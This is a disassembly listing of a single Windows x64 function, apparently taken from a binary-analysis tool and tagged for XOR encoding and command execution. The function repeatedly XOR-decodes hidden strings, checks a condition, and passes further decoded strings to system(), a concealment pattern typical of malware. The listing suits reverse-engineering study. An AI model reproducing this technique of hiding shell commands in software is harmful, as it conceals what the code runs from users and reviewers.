Function at 0x1400ff190
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x60
xor ebx, ebx
mov dword [rbp - 0x40], 0x4011711
mov ecx, ebx
mov dword [rbp - 0x3c], 0x110d490b
mov word [rbp - 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x36], 1
nop dword [rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 9
jb 0x1400ff1c0
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x36], bl
call 0x140000000
test al, al
je 0x1400ff22d
vmovdqu xmm0, xmmword [0x1401c3700]
vmovdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0x105a1e13
mov rcx, rbx
mov dword [rbp - 0x2c], 0x5658120e
mov dword [rbp - 0x28], 0x3b535b2e
mov word [rbp - 0x24], 0x100
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x1c
jb 0x1400ff210
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x23], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1401bd190]
call 0x140000000
test al, al
je 0x1400ff280
vmovdqu ymm0, ymmword [0x1401c4280]
vmovdqu ymmword [rbp - 0x40], ymm0
mov dword [rbp - 0x20], 0xaaa4d7ad
mov rcx, rbx
mov word [rbp - 0x1c], 0xc0
mov byte [rbp - 0x1a], 1
nop
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x25
jb 0x1400ff260
mov byte [rbp - 0x1a], bl
lea rcx, [rbp - 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
vmovdqu xmm0, xmmword [0x1401c3710]
vmovdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x30], 0x100
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x10
jb 0x1400ff2a0
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x2f], bl
call 0x140000000
test al, al
je 0x1400ff300
vmovdqu ymm0, ymmword [0x1401c4c20]
vmovdqu ymmword [rbp - 0x40], ymm0
mov dword [rbp - 0x20], 0xc2aca2
mov rcx, rbx
mov byte [rbp - 0x1c], 1
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x23
jb 0x1400ff2e0
mov byte [rbp - 0x1c], bl
lea rcx, [rbp - 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp - 0x40], 0x20d112d
mov rcx, rbx
mov dword [rbp - 0x3c], 0xc46090f
mov dword [rbp - 0x38], 0x1000e12
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0xa
jb 0x1400ff320
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x35], bl
call 0x140000000
test al, al
je 0x1400ff38d
vmovdqu xmm0, xmmword [0x1401c3750]
vmovdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0x5b1a1a15
mov rcx, rbx
mov dword [rbp - 0x2c], 0x591d0f13
mov dword [rbp - 0x28], 0x525c2f55
mov word [rbp - 0x24], gethostname
mov byte [rbp - 0x22], 1
nop
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x1d
jb 0x1400ff370
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x22], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
vmovdqu xmm0, xmmword [0x1401c3760]
vmovdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0x1c020117
mov rcx, rbx
mov dword [rbp - 0x2c], 0x1c561215
mov dword [rbp - 0x28], 0x1001e02
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x1a
jb 0x1400ff3c0
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x25], bl
call 0x140000000
test al, al
je 0x1400ff430
vmovdqu ymm0, ymmword [0x1401c5420]
vmovdqu ymmword [rbp - 0x40], ymm0
mov dword [rbp - 0x20], 0xabe1e0eb
mov rcx, rbx
mov dword [rbp - 0x1c], 0xa9edffe3
mov dword [rbp - 0x18], 0xa2acdfa5
mov word [rbp - 0x14], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp - 0x12], 1
nop
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x2d
jb 0x1400ff410
mov byte [rbp - 0x12], bl
lea rcx, [rbp - 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
vmovdqu xmm0, xmmword [0x1401c3730]
vmovdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0xd115d00
mov rcx, rbx
mov word [rbp - 0x2c], reloc.WS2_32.dll_send
mov byte [rbp - 0x2a], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x15
jb 0x1400ff460
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x2a], bl
call 0x140000000
test al, al
je 0x1400ff4d0
vmovdqu ymm0, ymmword [0x1401c4f00]
vmovdqu ymmword [rbp - 0x40], ymm0
mov dword [rbp - 0x20], 0xaaa4e6fa
mov rcx, rbx
mov dword [rbp - 0x1c], 0xcfa7a7d2
mov word [rbp - 0x18], 0x100
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x28
jb 0x1400ff4b0
mov byte [rbp - 0x17], bl
lea rcx, [rbp - 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
vmovdqu xmm0, xmmword [0x1401c36f0]
vmovdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0x105a0017
mov rcx, rbx
mov dword [rbp - 0x2c], 0x100120e
nop
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x16
jb 0x1400ff4f0
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x29], bl
call 0x140000000
test al, al
je 0x1400ff560
vmovdqu ymm0, ymmword [0x1401c45a0]
vmovdqu ymmword [rbp - 0x40], ymm0
mov dword [rbp - 0x20], 0xa5e1fbe7
mov rcx, rbx
mov dword [rbp - 0x1c], 0xa6a8d3a9
mov word [rbp - 0x18], 0xcc
mov byte [rbp - 0x16], 1
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x29
jb 0x1400ff540
mov byte [rbp - 0x16], bl
lea rcx, [rbp - 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
vmovdqu xmm0, xmmword [0x1401c3720]
vmovdqu xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x30], 0x100
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x10
jb 0x1400ff580
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x2f], bl
call 0x140000000
test al, al
je 0x1400ff5e0
vmovdqu ymm0, ymmword [0x1401c4c00]
vmovdqu ymmword [rbp - 0x40], ymm0
mov dword [rbp - 0x20], 0xc2aca2
mov rcx, rbx
mov byte [rbp - 0x1c], 1
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x23
jb 0x1400ff5c0
mov byte [rbp - 0x1c], bl
lea rcx, [rbp - 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
vmovdqu xmm0, xmmword [0x1401c3740]
vmovdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0x105a0117
mov rcx, rbx
mov dword [rbp - 0x2c], 0x100120e
nop
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x16
jb 0x1400ff600
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x29], bl
call 0x140000000
test al, al
je 0x1400ff670
vmovdqu ymm0, ymmword [0x1401c4580]
vmovdqu ymmword [rbp - 0x40], ymm0
mov dword [rbp - 0x20], 0xa5e1fbe7
mov rcx, rbx
mov dword [rbp - 0x1c], 0xa6a8d3a9
mov word [rbp - 0x18], 0xcc
mov byte [rbp - 0x16], 1
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x29
jb 0x1400ff650
mov byte [rbp - 0x16], bl
lea rcx, [rbp - 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
vmovdqu xmm0, xmmword [0x1401c37b0]
vmovdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0x19101d13
mov rcx, rbx
mov dword [rbp - 0x2c], 0x1c560513
mov dword [rbp - 0x28], 0x1001e02
nop word [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x1a
jb 0x1400ff6a0
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x25], bl
call 0x140000000
test al, al
je 0x1400ff710
vmovdqu ymm0, ymmword [0x1401c5020]
vmovdqu ymmword [rbp - 0x40], ymm0
mov dword [rbp - 0x20], 0xabf6e6ee
mov rcx, rbx
mov dword [rbp - 0x1c], 0xa9edffe3
mov dword [rbp - 0x18], 0xa2acdfa5
mov word [rbp - 0x14], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp - 0x12], 1
nop
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x2d
jb 0x1400ff6f0
mov byte [rbp - 0x12], bl
lea rcx, [rbp - 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
vmovdqu ymm0, ymmword [0x1401c5460]
vmovdqu ymmword [rbp - 0x40], ymm0
mov word [rbp - 0x20], 0xe7
mov rcx, rbx
mov byte [rbp - 0x1e], 1
nop word [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x21
jb 0x1400ff730
mov byte [rbp - 0x1e], bl
lea rcx, [rbp - 0x40]
vzeroupper
call 0x140000000
test al, al
je 0x1400ff7a0
vmovdqu ymm0, ymmword [0x1401c46e0]
vmovdqu xmm1, xmmword [0x1401c3940]
vmovdqu ymmword [rbp - 0x40], ymm0
vmovdqu xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0x10], 0xd3bbb3c6
mov rcx, rbx
mov word [rbp - 0xc], 0x100
nop dword [rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x34
jb 0x1400ff780
mov byte [rbp - 0xb], bl
lea rcx, [rbp - 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp - 0x40], 0x21010d2d
mov rcx, rbx
mov dword [rbp - 0x3c], 0xc1e0e14
mov dword [rbp - 0x38], 0x8140e44
mov word [rbp - 0x34], 0x100
nop
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0xc
jb 0x1400ff7c0
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x33], bl
call 0x140000000
test al, al
je 0x1400ff820
vmovdqu ymm0, ymmword [0x1401c3ae0]
vmovdqu ymmword [rbp - 0x40], ymm0
mov byte [rbp - 0x20], 1
mov rcx, rbx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x1f
jb 0x1400ff800
mov byte [rbp - 0x20], bl
lea rcx, [rbp - 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp - 0x40], 0x11171630
mov rcx, rbx
mov dword [rbp - 0x3c], 0xc010b25
mov dword [rbp - 0x38], 0x8421f04
mov dword [rbp - 0x34], 0x1000a16
nop
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0xe
jb 0x1400ff840
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x31], bl
call 0x140000000
test al, al
je 0x1400ff8a0
vmovdqu ymm0, ymmword [0x1401c44a0]
vmovdqu ymmword [rbp - 0x40], ymm0
mov word [rbp - 0x20], Ordinal_200
mov rcx, rbx
mov byte [rbp - 0x1e], 1
nop word [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x21
jb 0x1400ff880
mov byte [rbp - 0x1e], bl
lea rcx, [rbp - 0x40]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp - 0x40], 0x15055610
mov rcx, rbx
mov dword [rbp - 0x3c], 0xc461f03
mov dword [rbp - 0x38], 0x1000e12
nop dword [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0xa
jb 0x1400ff8c0
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x35], bl
call 0x140000000
test al, al
je 0x1400ff92d
vmovdqu xmm0, xmmword [0x1401c36d0]
vmovdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0x5b0c1602
mov rcx, rbx
mov dword [rbp - 0x2c], 0x591d0f13
mov dword [rbp - 0x28], 0x525c2f55
mov word [rbp - 0x24], gethostname
mov byte [rbp - 0x22], 1
nop
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x1d
jb 0x1400ff910
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x22], bl
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp - 0x40], 0x17100414
mov rcx, rbx
mov dword [rbp - 0x3c], 0xc461e07
mov dword [rbp - 0x38], 0x1000e12
nop word [rax + rax]
lea eax, [rcx + 0x62]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0xa
jb 0x1400ff950
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x35], bl
call 0x140000000
test al, al
je 0x1400ff9be
vmovdqu xmm0, xmmword [0x1401c36b0]
vmovdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0x5b0d1200
mov dword [rbp - 0x2c], 0x591d0f13
mov dword [rbp - 0x28], 0x525c2f55
mov word [rbp - 0x24], gethostname
mov byte [rbp - 0x22], 1
nop dword [rax]
lea eax, [rbx + 0x62]
xor byte [rbp + rbx - 0x40], al
inc rbx
cmp rbx, 0x1d
jb 0x1400ff9a0
lea rcx, [rbp - 0x40]
mov byte [rbp - 0x22], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rbp
ret